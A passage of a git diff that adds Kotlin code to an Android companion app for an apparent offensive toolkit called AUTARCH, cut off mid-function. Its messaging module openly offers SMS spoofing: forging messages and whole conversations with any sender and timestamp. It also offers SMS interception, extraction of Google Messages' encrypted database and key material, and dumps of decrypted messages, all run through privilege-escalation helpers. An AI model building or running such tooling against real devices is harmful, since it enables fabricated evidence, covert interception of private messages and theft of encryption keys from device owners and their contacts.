Color.parseColor("#009688"), // Teal + Color.parseColor("#4CAF50"), // Green + Color.parseColor("#FF9800"), // Orange + Color.parseColor("#795548"), // Brown + Color.parseColor("#607D8B"), // Blue Grey + ) + val hash = address.hashCode().let { if (it < 0) -it else it } + return colors[hash % colors.size] + } +} + +/** + * RecyclerView adapter for the message thread view. + * Shows messages as chat bubbles — sent aligned right (accent), received aligned left (gray). + */ +class MessageAdapter( + private val messages: MutableList, + private val onLongClick: (MessagingRepository.Message) -> Unit +) : RecyclerView.Adapter() { + + companion object { + private const val VIEW_TYPE_SENT = 0 + private const val VIEW_TYPE_RECEIVED = 1 + } + + inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) { + val bubbleBody: TextView = itemView.findViewById(R.id.bubble_body) + val bubbleTime: TextView = itemView.findViewById(R.id.bubble_time) + val bubbleStatus: TextView? = itemView.findViewOrNull(R.id.bubble_status) + val rcsIndicator: TextView? = itemView.findViewOrNull(R.id.rcs_indicator) + + init { + itemView.setOnLongClickListener { + val pos = adapterPosition + if (pos != RecyclerView.NO_POSITION) { + onLongClick(messages[pos]) + } + true + } + } + } + + override fun getItemViewType(position: Int): Int { + val msg = messages[position] + return when (msg.type) { + MessagingRepository.MESSAGE_TYPE_SENT, + MessagingRepository.MESSAGE_TYPE_OUTBOX, + MessagingRepository.MESSAGE_TYPE_QUEUED, + MessagingRepository.MESSAGE_TYPE_FAILED -> VIEW_TYPE_SENT + else -> VIEW_TYPE_RECEIVED + } + } + + override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder { + val layoutRes = if (viewType == VIEW_TYPE_SENT) { + R.layout.item_message_sent + } else { + R.layout.item_message_received + } + val view = LayoutInflater.from(parent.context).inflate(layoutRes, parent, false) + return ViewHolder(view) + } + + override fun onBindViewHolder(holder: ViewHolder, position: Int) { + val msg = messages[position] + + // Message body + holder.bubbleBody.text = msg.body + + // Timestamp + holder.bubbleTime.text = formatMessageTime(msg.date) + + // Delivery status (sent messages only) + holder.bubbleStatus?.let { statusView -> + if (msg.type == MessagingRepository.MESSAGE_TYPE_SENT) { + statusView.visibility = View.VISIBLE + statusView.text = when (msg.status) { + -1 -> "" // No status + 0 -> "Sent" + 32 -> "Delivered" + 64 -> "Failed" + else -> "" + } + } else { + statusView.visibility = View.GONE + } + } + + // RCS indicator + holder.rcsIndicator?.let { indicator -> + if (msg.isRcs) { + indicator.visibility = View.VISIBLE + indicator.text = "RCS" + } else if (msg.isMms) { + indicator.visibility = View.VISIBLE + indicator.text = "MMS" + } else { + indicator.visibility = View.GONE + } + } + } + + override fun getItemCount(): Int = messages.size + + fun updateData(newMessages: List) { + messages.clear() + messages.addAll(newMessages) + notifyDataSetChanged() + } + + fun addMessage(message: MessagingRepository.Message) { + messages.add(message) + notifyItemInserted(messages.size - 1) + } + + /** + * Format timestamp for individual messages. + * Shows time for today, date+time for older messages. + */ + private fun formatMessageTime(timestamp: Long): String { + if (timestamp <= 0) return "" + + val date = Date(timestamp) + val today = Calendar.getInstance() + today.set(Calendar.HOUR_OF_DAY, 0) + today.set(Calendar.MINUTE, 0) + today.set(Calendar.SECOND, 0) + today.set(Calendar.MILLISECOND, 0) + + return if (timestamp >= today.timeInMillis) { + SimpleDateFormat("h:mm a", Locale.US).format(date) + } else { + SimpleDateFormat("MMM d, h:mm a", Locale.US).format(date) + } + } + + /** + * Extension to safely find a view that may not exist in all layout variants. + */ + private fun View.findViewOrNull(id: Int): TextView? { + return try { + findViewById(id) + } catch (e: Exception) { + null + } + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessagingModule.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessagingModule.kt new file mode 100644 index 0000000..c5eb763 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessagingModule.kt @@ -0,0 +1,522 @@ +package com.darkhal.archon.messaging + +import android.content.Context +import android.os.Environment +import android.util.Log +import com.darkhal.archon.module.ArchonModule +import com.darkhal.archon.module.ModuleAction +import com.darkhal.archon.module.ModuleResult +import com.darkhal.archon.module.ModuleStatus +import com.darkhal.archon.util.PrivilegeManager +import java.io.File +import java.text.SimpleDateFormat +import java.util.Date +import java.util.Locale + +/** + * SMS/RCS Tools module — message spoofing, extraction, and RCS exploitation. + * + * Provides actions for: + * - Setting/restoring default SMS app role + * - Exporting all messages or specific threads + * - Forging (inserting fake) messages and conversations + * - Searching message content + * - Checking RCS status and capabilities + * - Shizuku integration status + * - SMS interception toggle + * + * All elevated operations route through ShizukuManager (which itself + * falls back to PrivilegeManager's escalation chain). + */ +class MessagingModule : ArchonModule { + + companion object { + private const val TAG = "MessagingModule" + } + + override val id = "messaging" + override val name = "SMS/RCS Tools" + override val description = "Message spoofing, extraction, and RCS exploitation" + override val version = "1.0" + + override fun getActions(): List = listOf( + ModuleAction( + id = "become_default", + name = "Become Default SMS", + description = "Set Archon as default SMS app (via Shizuku or role request)", + privilegeRequired = true + ), + ModuleAction( + id = "restore_default", + name = "Restore Default SMS", + description = "Restore previous default SMS app", + privilegeRequired = true + ), + ModuleAction( + id = "export_all", + name = "Export All Messages", + description = "Export all SMS/MMS to XML backup file", + privilegeRequired = false + ), + ModuleAction( + id = "export_thread", + name = "Export Thread", + description = "Export specific conversation (use export_thread:)", + privilegeRequired = false + ), + ModuleAction( + id = "forge_message", + name = "Forge Message", + description = "Insert a fake message (use forge_message:
::)", + privilegeRequired = true + ), + ModuleAction( + id = "forge_conversation", + name = "Forge Conversation", + description = "Create entire fake conversation (use forge_conversation:
)", + privilegeRequired = true + ), + ModuleAction( + id = "search_messages", + name = "Search Messages", + description = "Search all messages by keyword (use search_messages:)", + privilegeRequired = false + ), + ModuleAction( + id = "rcs_status", + name = "RCS Status", + description = "Check RCS availability and capabilities", + privilegeRequired = false + ), + ModuleAction( + id = "shizuku_status", + name = "Shizuku Status", + description = "Check Shizuku integration status and privilege level", + privilegeRequired = false + ), + ModuleAction( + id = "intercept_mode", + name = "Intercept Mode", + description = "Toggle SMS interception (intercept_mode:on or intercept_mode:off)", + privilegeRequired = true, + rootOnly = false + ), + ModuleAction( + id = "rcs_account", + name = "RCS Account Info", + description = "Get Google Messages RCS registration, IMS state, and carrier config", + privilegeRequired = true + ), + ModuleAction( + id = "extract_bugle_db", + name = "Extract bugle_db", + description = "Extract encrypted bugle_db + encryption key material from Google Messages", + privilegeRequired = true + ), + ModuleAction( + id = "dump_decrypted", + name = "Dump Decrypted Messages", + description = "Query decrypted RCS/SMS messages from content providers and app context", + privilegeRequired = true + ), + ModuleAction( + id = "extract_keys", + name = "Extract Encryption Keys", + description = "Extract bugle_db encryption key material from shared_prefs", + privilegeRequired = true + ), + ModuleAction( + id = "gmsg_info", + name = "Google Messages Info", + description = "Get Google Messages version, UID, and RCS configuration", + privilegeRequired = false + ) + ) + + override fun executeAction(actionId: String, context: Context): ModuleResult { + val repo = MessagingRepository(context) + val shizuku = ShizukuManager(context) + + return when { + actionId == "become_default" -> becomeDefault(shizuku) + actionId == "restore_default" -> restoreDefault(shizuku) + actionId == "export_all" -> exportAll(context, repo) + actionId == "export_thread" -> ModuleResult(false, "Specify thread: export_thread:") + actionId.startsWith("export_thread:") -> { + val threadId = actionId.substringAfter(":").toLongOrNull() + ?: return ModuleResult(false, "Invalid thread ID") + exportThread(context, repo, threadId) + } + actionId == "forge_message" -> ModuleResult(false, "Usage: forge_message:
::") + actionId.startsWith("forge_message:") -> { + val params = actionId.removePrefix("forge_message:").split(":", limit = 3) + if (params.size < 3) return ModuleResult(false, "Usage: forge_message:
::") + val type = params[2].toIntOrNull() ?: 1 + forgeMessage(repo, params[0], params[1], type) + } + actionId == "forge_conversation" -> ModuleResult(false, "Specify address: forge_conversation:") + actionId.startsWith("forge_conversation:") -> { + val address = actionId.substringAfter(":") + forgeConversation(repo, address) + } + actionId == "search_messages" -> ModuleResult(false, "Specify query: search_messages:") + actionId.startsWith("search_messages:") -> { + val query = actionId.substringAfter(":") + searchMessages(repo, query) + } + actionId == "rcs_status" -> rcsStatus(context, repo, shizuku) + actionId == "shizuku_status" -> shizukuStatus(shizuku) + actionId == "intercept_mode" -> ModuleResult(false, "Specify: intercept_mode:on or intercept_mode:off") + actionId == "intercept_mode:on" -> interceptMode(shizuku, true) + actionId == "intercept_mode:off" -> interceptMode(shizuku, false) + actionId == "rcs_account" -> rcsAccountInfo(shizuku) + actionId == "extract_bugle_db" -> extractBugleDb(shizuku) + actionId == "dump_decrypted" -> dumpDecrypted(shizuku) + actionId == "extract_keys" -> extractKeys(shizuku) + actionId == "gmsg_info" -> gmsgInfo(shizuku) + else -> ModuleResult(false, "Unknown action: $actionId") + } + } + + override fun getStatus(context: Context): ModuleStatus { + val shizuku = ShizukuManager(context) + val shizukuReady = shizuku.isReady() + val privilegeReady = PrivilegeManager.isReady() + + val summary = when { + shizukuReady -> "Ready (elevated access)" + privilegeReady -> "Ready (basic access)" + else -> "No privilege access — run Setup" + } + + return ModuleStatus( + active = shizukuReady || privilegeReady, + summary = summary, + details = mapOf( + "shizuku" to shizuku.getStatus().label, + "privilege" to PrivilegeManager.getAvailableMethod().label + ) + ) + } + + // ── Action implementations ───────────────────────────────────── + + private fun becomeDefault(shizuku: ShizukuManager): ModuleResult { + if (!shizuku.isReady()) { + return ModuleResult(false, "Elevated access required — start Archon Server or Shizuku first") + } + + val success = shizuku.setDefaultSmsApp() + return if (success) { + ModuleResult(true, "Archon is now the default SMS app — can write to SMS database", + listOf("Previous default saved for restoration", + "Use 'Restore Default' when done")) + } else { + ModuleResult(false, "Failed to set default SMS app — check Shizuku/ADB permissions") + } + } + + private fun restoreDefault(shizuku: ShizukuManager): ModuleResult { + val success = shizuku.revokeDefaultSmsApp() + return if (success) { + ModuleResult(true, "Default SMS app restored") + } else { + ModuleResult(false, "Failed to restore default SMS app") + } + } + + private fun exportAll(context: Context, repo: MessagingRepository): ModuleResult { + return try { + val xml = repo.exportAllMessages("xml") + if (xml.isBlank()) { + return ModuleResult(false, "No messages to export (check SMS permission)") + } + + // Write to file + val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date()) + val exportDir = File(context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "sms_export") + exportDir.mkdirs() + val file = File(exportDir, "sms_backup_$timestamp.xml") + file.writeText(xml) + + val lineCount = xml.lines().size + ModuleResult(true, "Exported $lineCount lines to ${file.absolutePath}", + listOf("Format: SMS Backup & Restore compatible XML", + "Path: ${file.absolutePath}", + "Size: ${file.length() / 1024}KB")) + } catch (e: Exception) { + Log.e(TAG, "Export failed", e) + ModuleResult(false, "Export failed: ${e.message}") + } + } + + private fun exportThread(context: Context, repo: MessagingRepository, threadId: Long): ModuleResult { + return try { + val xml = repo.exportConversation(threadId, "xml") + if (xml.isBlank()) { + return ModuleResult(false, "No messages in thread $threadId or no permission") + } + + val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date()) + val exportDir = File(context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "sms_export") + exportDir.mkdirs() + val file = File(exportDir, "thread_${threadId}_$timestamp.xml") + file.writeText(xml) + + ModuleResult(true, "Exported thread $threadId to ${file.name}", + listOf("Path: ${file.absolutePath}", "Size: ${file.length() / 1024}KB")) + } catch (e: Exception) { + ModuleResult(false, "Thread export failed: ${e.message}") + } + } + + private fun forgeMessage(repo: MessagingRepository, address: String, body: String, type: Int): ModuleResult { + val id = repo.forgeMessage( + address = address, + body = body, + type = type, + date = System.currentTimeMillis(), + read = true + ) + + return if (id >= 0) { + val direction = if (type == 1) "received" else "sent" + ModuleResult(true, "Forged $direction message id=$id", + listOf("Address: $address", "Body: ${body.take(50)}", "Type: $direction")) + } else { + ModuleResult(false, "Forge failed — is Archon the default SMS app? Use 'Become Default' first") + } + } + + private fun forgeConversation(repo: MessagingRepository, address: String): ModuleResult { + // Create a sample conversation with back-and-forth messages + val messages = listOf( + "Hey, are you there?" to MessagingRepository.MESSAGE_TYPE_RECEIVED, + "Yeah, what's up?" to MessagingRepository.MESSAGE_TYPE_SENT, + "Can you meet me later?" to MessagingRepository.MESSAGE_TYPE_RECEIVED, + "Sure, what time?" to MessagingRepository.MESSAGE_TYPE_SENT, + "Around 7pm at the usual place" to MessagingRepository.MESSAGE_TYPE_RECEIVED, + "Sounds good, see you then" to MessagingRepository.MESSAGE_TYPE_SENT, + ) + + val threadId = repo.forgeConversation(address, messages) + return if (threadId >= 0) { + ModuleResult(true, "Forged conversation thread=$threadId with ${messages.size} messages", + listOf("Address: $address", "Messages: ${messages.size}", "Thread ID: $threadId")) + } else { + ModuleResult(false, "Forge conversation failed — is Archon the default SMS app?") + } + } + + private fun searchMessages(repo: MessagingRepository, query: String): ModuleResult { + val results = repo.searchMessages(query) + if (results.isEmpty()) { + return ModuleResult(true, "No messages matching '$query'") + } + + val details = results.take(20).map { msg -> + val direction = if (msg.type == 1) "recv" else "sent" + val dateStr = SimpleDateFormat("MM/dd HH:mm", Locale.US).format(Date(msg.date)) + "[$direction] ${msg.address} ($dateStr): ${msg.body.take(60)}" + } + + val extra = if (results.size > 20) { + listOf("... and ${results.size - 20} more results") + } else { + emptyList() + } + + return ModuleResult(true, "${results.size} message(s) matching '$query'", + details + extra) + } + + private fun rcsStatus(context: Context, repo: MessagingRepository, shizuku: ShizukuManager): ModuleResult { + val details = mutableListOf() + + // Check RCS availability + val rcsAvailable = repo.isRcsAvailable() + details.add("RCS available: $rcsAvailable") + + if (rcsAvailable) { + details.add("Provider: Google Messages") + } else { + details.add("RCS not detected — Google Messages may not be installed or RCS not enabled") + } + + // Check if we can access RCS provider + if (shizuku.isReady()) { + val canAccess = shizuku.accessRcsProvider() + details.add("RCS provider access: $canAccess") + + if (canAccess) { + val rcsMessages = shizuku.readRcsDatabase() + details.add("RCS messages readable: ${rcsMessages.size}") + } + } else { + details.add("Elevated access needed for full RCS access") + } + + return ModuleResult(true, + if (rcsAvailable) "RCS available" else "RCS not detected", + details) + } + + private fun shizukuStatus(shizuku: ShizukuManager): ModuleResult { + val status = shizuku.getStatus() + val privilegeMethod = PrivilegeManager.getAvailableMethod() + + val details = listOf( + "Shizuku status: ${status.label}", + "Privilege method: ${privilegeMethod.label}", + "Elevated ready: ${shizuku.isReady()}", + "Can write SMS DB: ${status == ShizukuManager.ShizukuStatus.READY}", + "Can access RCS: ${status == ShizukuManager.ShizukuStatus.READY}" + ) + + return ModuleResult(true, status.label, details) + } + + private fun interceptMode(shizuku: ShizukuManager, enable: Boolean): ModuleResult { + if (!shizuku.isReady()) { + return ModuleResult(false, "Elevated access required for interception") + } + + val success = shizuku.interceptSms(enable) + return if (success) { + val state = if (enable) "ENABLED" else "DISABLED" + ModuleResult(true, "SMS interception $state", + listOf(if (enable) { + "Archon is now the default SMS handler — all incoming messages will be captured" + } else { + "Previous SMS handler restored" + })) + } else { + ModuleResult(false, "Failed to ${if (enable) "enable" else "disable"} interception") + } + } + + // ── Google Messages RCS database access ───────────────────────── + + private fun rcsAccountInfo(shizuku: ShizukuManager): ModuleResult { + if (!shizuku.isReady()) { + return ModuleResult(false, "Elevated access required") + } + return try { + val info = shizuku.getRcsAccountInfo() + val details = mutableListOf() + details.add("IMS registered: ${info["ims_registered"] ?: "unknown"}") + details.add("RCS enabled: ${info["rcs_enabled"] ?: "unknown"}") + val gmsg = info["google_messages"] as? Map<*, *> + if (gmsg != null) { + details.add("Google Messages: v${gmsg["version"] ?: "?"} (UID: ${gmsg["uid"] ?: "?"})") + } + val rcsConfig = info["carrier_rcs_config"] as? Map<*, *> + if (rcsConfig != null && rcsConfig.isNotEmpty()) { + details.add("Carrier RCS keys: ${rcsConfig.size}") + rcsConfig.entries.take(5).forEach { (k, v) -> + details.add(" $k = $v") + } + } + val gmsgPrefs = info["gmsg_rcs_prefs"] as? Map<*, *> + if (gmsgPrefs != null && gmsgPrefs.isNotEmpty()) { + details.add("Google Messages RCS prefs: ${gmsgPrefs.size}") + gmsgPrefs.entries.take(5).forEach { (k, v) -> + details.add(" $k = $v") + } + } + ModuleResult(true, "RCS account info retrieved", details) + } catch (e: Exception) { + ModuleResult(false, "Failed: ${e.message}") + } + } + + private fun extractBugleDb(shizuku: ShizukuManager): ModuleResult { + if (!shizuku.isReady()) { + return ModuleResult(false, "Elevated access required — bugle_db is encrypted at rest") + } + return try { + val result = shizuku.extractBugleDbRaw() + val dbFiles = result["db_files"] as? List<*> ?: emptyList() + val details = mutableListOf() + details.add("Database files: ${dbFiles.joinToString(", ")}") + details.add("Staging dir: ${result["staging_dir"]}") + details.add("ENCRYPTED: ${result["encrypted"]}") + details.add(result["note"].toString()) + details.add("") + details.add("Use AUTARCH web UI to pull from: ${result["staging_dir"]}") + details.add("Key material in shared_prefs/ may enable offline decryption") + details.add("Hardware-backed Keystore keys cannot be extracted via ADB") + ModuleResult(dbFiles.isNotEmpty(), "Extracted ${dbFiles.size} DB files + key material", details) + } catch (e: Exception) { + ModuleResult(false, "Extract failed: ${e.message}") + } + } + + private fun dumpDecrypted(shizuku: ShizukuManager): ModuleResult { + if (!shizuku.isReady()) { + return ModuleResult(false, "Elevated access required") + } + return try { + val result = shizuku.dumpDecryptedMessages() + val count = result["message_count"] as? Int ?: 0 + val details = mutableListOf() + details.add("Messages retrieved: $count") + details.add("RCS provider accessible: ${result["rcs_provider_accessible"]}") + if (result["json_path"] != null) { + details.add("JSON dump: ${result["json_path"]}") + } + details.add(result["note"].toString()) + if (count > 0) { + details.add("") + details.add("Use AUTARCH web UI to pull the decrypted dump") + } + ModuleResult(count > 0, "$count messages dumped (decrypted)", details) + } catch (e: Exception) { + ModuleResult(false, "Dump failed: ${e.message}") + } + } + + private fun extractKeys(shizuku: ShizukuManager): ModuleResult { + if (!shizuku.isReady()) { + return ModuleResult(false, "Elevated access required") + } + return try { + val result = shizuku.extractEncryptionKeyMaterial() + if (result.containsKey("error")) { + return ModuleResult(false, result["error"].toString()) + } + val details = mutableListOf() + val cryptoCount = result["crypto_prefs_count"] as? Int ?: 0 + details.add("Crypto-related shared_prefs files: $cryptoCount") + val prefFiles = result["shared_prefs_files"] as? List<*> + if (prefFiles != null) { + details.add("Total shared_prefs files: ${prefFiles.size}") + } + val filesDir = result["files_dir"] as? List<*> + if (filesDir != null) { + details.add("Files dir entries: ${filesDir.size}") + } + details.add("") + details.add("NOTE: bugle_db encryption key may be in these files.") + details.add("Hardware-backed Android Keystore keys cannot be extracted.") + details.add("If key derivation params are in shared_prefs, offline") + details.add("decryption may be possible with the right tools.") + ModuleResult(cryptoCount > 0, "Extracted $cryptoCount crypto-related files", details) + } catch (e: Exception) { + ModuleResult(false, "Key extraction failed: ${e.message}") + } + } + + private fun gmsgInfo(shizuku: ShizukuManager): ModuleResult { + return try { + val info = shizuku.getGoogleMessagesInfo() + if (info.isEmpty()) { + return ModuleResult(false, "Google Messages not found or not accessible") + } + val details = info.map { (k, v) -> "$k: $v" } + ModuleResult(true, "Google Messages v${info["version"] ?: "?"}", details) + } catch (e: Exception) { + ModuleResult(false, "Failed: ${e.message}") + } + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessagingRepository.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessagingRepository.kt new file mode 100644 index 0000000..0f48e95 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessagingRepository.kt @@ -0,0 +1,940 @@ +package com.darkhal.archon.messaging + +import android.content.ContentValues +import android.content.Context +import android.database.Cursor +import android.net.Uri +import android.provider.ContactsContract +import android.provider.Telephony +import android.telephony.SmsManager +import android.util.Log +import java.text.SimpleDateFormat +import java.util.Date +import java.util.Locale + +/** + * Data access layer for SMS/MMS/RCS messages using Android ContentResolver. + * + * Most write operations require the app to be the default SMS handler. + * Use ShizukuManager or RoleManager to acquire that role first. + */ +class MessagingRepository(private val context: Context) { + + companion object { + private const val TAG = "MessagingRepo" + + // SMS message types + const val MESSAGE_TYPE_RECEIVED = 1 + const val MESSAGE_TYPE_SENT = 2 + const val MESSAGE_TYPE_DRAFT = 3 + const val MESSAGE_TYPE_OUTBOX = 4 + const val MESSAGE_TYPE_FAILED = 5 + const val MESSAGE_TYPE_QUEUED = 6 + + // Content URIs + val URI_SMS: Uri = Uri.parse("content://sms/") + val URI_MMS: Uri = Uri.parse("content://mms/") + val URI_SMS_CONVERSATIONS: Uri = Uri.parse("content://sms/conversations/") + val URI_MMS_SMS_CONVERSATIONS: Uri = Uri.parse("content://mms-sms/conversations/") + val URI_MMS_SMS_COMPLETE: Uri = Uri.parse("content://mms-sms/complete-conversations/") + + // RCS content provider (Google Messages) + val URI_RCS_MESSAGES: Uri = Uri.parse("content://im/messages") + val URI_RCS_THREADS: Uri = Uri.parse("content://im/threads") + } + + // ── Data classes ─────────────────────────────────────────────── + + data class Conversation( + val threadId: Long, + val address: String, + val snippet: String, + val date: Long, + val messageCount: Int, + val unreadCount: Int, + val contactName: String? + ) + + data class Message( + val id: Long, + val threadId: Long, + val address: String, + val body: String, + val date: Long, + val type: Int, + val read: Boolean, + val status: Int, + val isRcs: Boolean, + val isMms: Boolean, + val contactName: String? + ) + + // ── Read operations ──────────────────────────────────────────── + + /** + * Get all conversations from the combined SMS+MMS threads provider. + * Falls back to SMS-only conversations if the combined provider is not available. + */ + fun getConversations(): List { + val conversations = mutableListOf() + val threadMap = mutableMapOf() + + try { + // Query all SMS messages grouped by thread_id + val cursor = context.contentResolver.query( + URI_SMS, + arrayOf("_id", "thread_id", "address", "body", "date", "read", "type"), + null, null, "date DESC" + ) + + cursor?.use { + while (it.moveToNext()) { + val threadId = it.getLongSafe("thread_id") + if (threadId <= 0) continue + + val existing = threadMap[threadId] + if (existing != null) { + // Update counts + val unread = if (!it.getBoolSafe("read")) 1 else 0 + threadMap[threadId] = existing.copy( + messageCount = existing.messageCount + 1, + unreadCount = existing.unreadCount + unread + ) + } else { + val address = it.getStringSafe("address") + val read = it.getBoolSafe("read") + threadMap[threadId] = Conversation( + threadId = threadId, + address = address, + snippet = it.getStringSafe("body"), + date = it.getLongSafe("date"), + messageCount = 1, + unreadCount = if (!read) 1 else 0, + contactName = getContactName(address) + ) + } + } + } + + conversations.addAll(threadMap.values) + conversations.sortByDescending { it.date } + + } catch (e: SecurityException) { + Log.e(TAG, "No SMS read permission", e) + } catch (e: Exception) { + Log.e(TAG, "Failed to get conversations", e) + } + + return conversations + } + + /** + * Get all messages in a specific thread, ordered by date ascending (oldest first). + */ + fun getMessages(threadId: Long): List { + val messages = mutableListOf() + + try { + val cursor = context.contentResolver.query( + URI_SMS, + arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"), + "thread_id = ?", + arrayOf(threadId.toString()), + "date ASC" + ) + + cursor?.use { + while (it.moveToNext()) { + val address = it.getStringSafe("address") + messages.add(Message( + id = it.getLongSafe("_id"), + threadId = it.getLongSafe("thread_id"), + address = address, + body = it.getStringSafe("body"), + date = it.getLongSafe("date"), + type = it.getIntSafe("type"), + read = it.getBoolSafe("read"), + status = it.getIntSafe("status"), + isRcs = false, + isMms = false, + contactName = getContactName(address) + )) + } + } + + // Also try to load MMS messages for this thread + loadMmsForThread(threadId, messages) + + // Sort combined list by date + messages.sortBy { it.date } + + } catch (e: SecurityException) { + Log.e(TAG, "No SMS read permission", e) + } catch (e: Exception) { + Log.e(TAG, "Failed to get messages for thread $threadId", e) + } + + return messages + } + + /** + * Get a single message by ID. + */ + fun getMessage(id: Long): Message? { + try { + val cursor = context.contentResolver.query( + URI_SMS, + arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"), + "_id = ?", + arrayOf(id.toString()), + null + ) + + cursor?.use { + if (it.moveToFirst()) { + val address = it.getStringSafe("address") + return Message( + id = it.getLongSafe("_id"), + threadId = it.getLongSafe("thread_id"), + address = address, + body = it.getStringSafe("body"), + date = it.getLongSafe("date"), + type = it.getIntSafe("type"), + read = it.getBoolSafe("read"), + status = it.getIntSafe("status"), + isRcs = false, + isMms = false, + contactName = getContactName(address) + ) + } + } + } catch (e: Exception) { + Log.e(TAG, "Failed to get message $id", e) + } + return null + } + + /** + * Full-text search across all SMS message bodies. + */ + fun searchMessages(query: String): List { + val messages = mutableListOf() + if (query.isBlank()) return messages + + try { + val cursor = context.contentResolver.query( + URI_SMS, + arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"), + "body LIKE ?", + arrayOf("%$query%"), + "date DESC" + ) + + cursor?.use { + while (it.moveToNext()) { + val address = it.getStringSafe("address") + messages.add(Message( + id = it.getLongSafe("_id"), + threadId = it.getLongSafe("thread_id"), + address = address, + body = it.getStringSafe("body"), + date = it.getLongSafe("date"), + type = it.getIntSafe("type"), + read = it.getBoolSafe("read"), + status = it.getIntSafe("status"), + isRcs = false, + isMms = false, + contactName = getContactName(address) + )) + } + } + } catch (e: Exception) { + Log.e(TAG, "Search failed for '$query'", e) + } + + return messages + } + + /** + * Lookup contact display name by phone number. + */ + fun getContactName(address: String): String? { + if (address.isBlank()) return null + + try { + val uri = Uri.withAppendedPath( + ContactsContract.PhoneLookup.CONTENT_FILTER_URI, + Uri.encode(address) + ) + val cursor = context.contentResolver.query( + uri, + arrayOf(ContactsContract.PhoneLookup.DISPLAY_NAME), + null, null, null + ) + + cursor?.use { + if (it.moveToFirst()) { + val idx = it.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME) + if (idx >= 0) return it.getString(idx) + } + } + } catch (e: Exception) { + // Contact lookup can fail for short codes, etc. + Log.d(TAG, "Contact lookup failed for $address: ${e.message}") + } + return null + } + + // ── Write operations (requires default SMS app role) ────────── + + /** + * Send an SMS message via SmsManager. + * Returns true if the message was submitted to the system for sending. + */ + fun sendSms(address: String, body: String): Boolean { + return try { + val smsManager = context.getSystemService(SmsManager::class.java) + if (body.length > 160) { + val parts = smsManager.divideMessage(body) + smsManager.sendMultipartTextMessage(address, null, parts, null, null) + } else { + smsManager.sendTextMessage(address, null, body, null, null) + } + // Also insert into sent box + insertSms(address, body, MESSAGE_TYPE_SENT, System.currentTimeMillis(), true) + true + } catch (e: Exception) { + Log.e(TAG, "Failed to send SMS to $address", e) + false + } + } + + /** + * Insert an SMS record into the content provider. + * Requires default SMS app role for writing. + * + * @param type 1=received, 2=sent, 3=draft, 4=outbox, 5=failed, 6=queued + * @return the row ID of the inserted message, or -1 on failure + */ + fun insertSms(address: String, body: String, type: Int, date: Long, read: Boolean): Long { + return try { + val values = ContentValues().apply { + put("address", address) + put("body", body) + put("type", type) + put("date", date) + put("read", if (read) 1 else 0) + put("seen", 1) + } + + val uri = context.contentResolver.insert(URI_SMS, values) + if (uri != null) { + val id = uri.lastPathSegment?.toLongOrNull() ?: -1L + Log.i(TAG, "Inserted SMS id=$id type=$type addr=$address") + id + } else { + Log.w(TAG, "SMS insert returned null URI — app may not be default SMS handler") + -1L + } + } catch (e: SecurityException) { + Log.e(TAG, "No write permission — must be default SMS app", e) + -1L + } catch (e: Exception) { + Log.e(TAG, "Failed to insert SMS", e) + -1L + } + } + + /** + * Update an existing SMS message's fields. + */ + fun updateMessage(id: Long, body: String?, type: Int?, date: Long?, read: Boolean?): Boolean { + return try { + val values = ContentValues() + body?.let { values.put("body", it) } + type?.let { values.put("type", it) } + date?.let { values.put("date", it) } + read?.let { values.put("read", if (it) 1 else 0) } + + if (values.size() == 0) return false + + val count = context.contentResolver.update( + Uri.parse("content://sms/$id"), + values, null, null + ) + Log.i(TAG, "Updated SMS id=$id, rows=$count") + count > 0 + } catch (e: SecurityException) { + Log.e(TAG, "No write permission for update", e) + false + } catch (e: Exception) { + Log.e(TAG, "Failed to update message $id", e) + false + } + } + + /** + * Delete a single SMS message by ID. + */ + fun deleteMessage(id: Long): Boolean { + return try { + val count = context.contentResolver.delete( + Uri.parse("content://sms/$id"), null, null + ) + Log.i(TAG, "Deleted SMS id=$id, rows=$count") + count > 0 + } catch (e: Exception) { + Log.e(TAG, "Failed to delete message $id", e) + false + } + } + + /** + * Delete all messages in a conversation thread. + */ + fun deleteConversation(threadId: Long): Boolean { + return try { + val count = context.contentResolver.delete( + URI_SMS, "thread_id = ?", arrayOf(threadId.toString()) + ) + Log.i(TAG, "Deleted conversation thread=$threadId, rows=$count") + count > 0 + } catch (e: Exception) { + Log.e(TAG, "Failed to delete conversation $threadId", e) + false + } + } + + /** + * Mark all messages in a thread as read. + */ + fun markAsRead(threadId: Long): Boolean { + return try { + val values = ContentValues().apply { + put("read", 1) + put("seen", 1) + } + val count = context.contentResolver.update( + URI_SMS, values, + "thread_id = ? AND read = 0", + arrayOf(threadId.toString()) + ) + Log.i(TAG, "Marked $count messages as read in thread $threadId") + count >= 0 + } catch (e: Exception) { + Log.e(TAG, "Failed to mark thread $threadId as read", e) + false + } + } + + // ── Spoofing / Forging ───────────────────────────────────────── + + /** + * Insert a forged message with arbitrary sender, body, timestamp, and direction. + * This creates a message that appears to come from the given address + * at the given time, regardless of whether it was actually received. + * + * Requires default SMS app role. + * + * @param type MESSAGE_TYPE_RECEIVED (1) to fake incoming, MESSAGE_TYPE_SENT (2) to fake outgoing + * @return the row ID of the forged message, or -1 on failure + */ + fun forgeMessage( + address: String, + body: String, + type: Int, + date: Long, + contactName: String? = null, + read: Boolean = true + ): Long { + return try { + val values = ContentValues().apply { + put("address", address) + put("body", body) + put("type", type) + put("date", date) + put("read", if (read) 1 else 0) + put("seen", 1) + // Set status to complete for sent messages + if (type == MESSAGE_TYPE_SENT) { + put("status", Telephony.Sms.STATUS_COMPLETE) + } + // person field links to contacts — we leave it null for forged messages + // unless we want to explicitly associate with a contact + contactName?.let { put("person", 0) } + 